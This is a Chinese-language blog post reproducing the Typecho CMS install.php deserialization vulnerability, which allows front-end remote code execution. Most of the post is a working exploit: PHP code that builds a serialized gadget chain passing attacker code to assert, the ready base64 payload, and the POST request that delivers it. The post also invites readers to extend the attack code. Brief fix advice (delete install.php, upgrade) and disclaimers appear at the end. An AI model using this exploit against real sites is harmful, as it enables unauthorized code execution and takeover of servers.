[漏洞复现]Typecho反序列化漏洞

vFREE
2021-05-10 / 0 评论 / 164 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年06月16日,已超过466天没有更新,若内容或图片失效,请留言反馈。

1

简介

今儿复现一个陈年老漏洞,就说typecho的反序列化漏洞,可导致前台getshell,漏洞点在于文件夹下的install.php
2
typecho是一个个人认为最清爽的一个cms,前端到后台一目了然,少了些繁杂的操作,安装过程也是一条龙,从安装到使用用不上5分钟,所以有需要建站的大佬们,可以尝试一下typecho

漏洞危害

可以直接getshell

漏洞复现

<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = 'phpinfo()'; //此处修改需要执行的代码
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

运行改代码会生成相应的base64的payload,以上代码会生成

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

将输出的payload通过base64传过去
设置url为:http://localhost/install.php?finish
post data: __typechi_config= payload
如图所示↓

输入完成后,直接发送请求,回到浏览器网页,如果发现变成了这样子↓

则意味着复现成功,并且该网站存在这一个漏洞!!!
如果有需要,可以自行扩展攻击代码,但是不能用于非法用途!!!

修复建议

  1. 安装完typecho后,将install.php删除
  2. 升级版本

后言

我太菜了,不会代码审计,所以不做分析,如有需要,可以借鉴这篇文章《Typecho前台Getshell漏洞分析》
所有的漏洞复现文章在这里仅做学习测试使用,禁止用于非法用途!!!

注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

0

评论 (0)

取消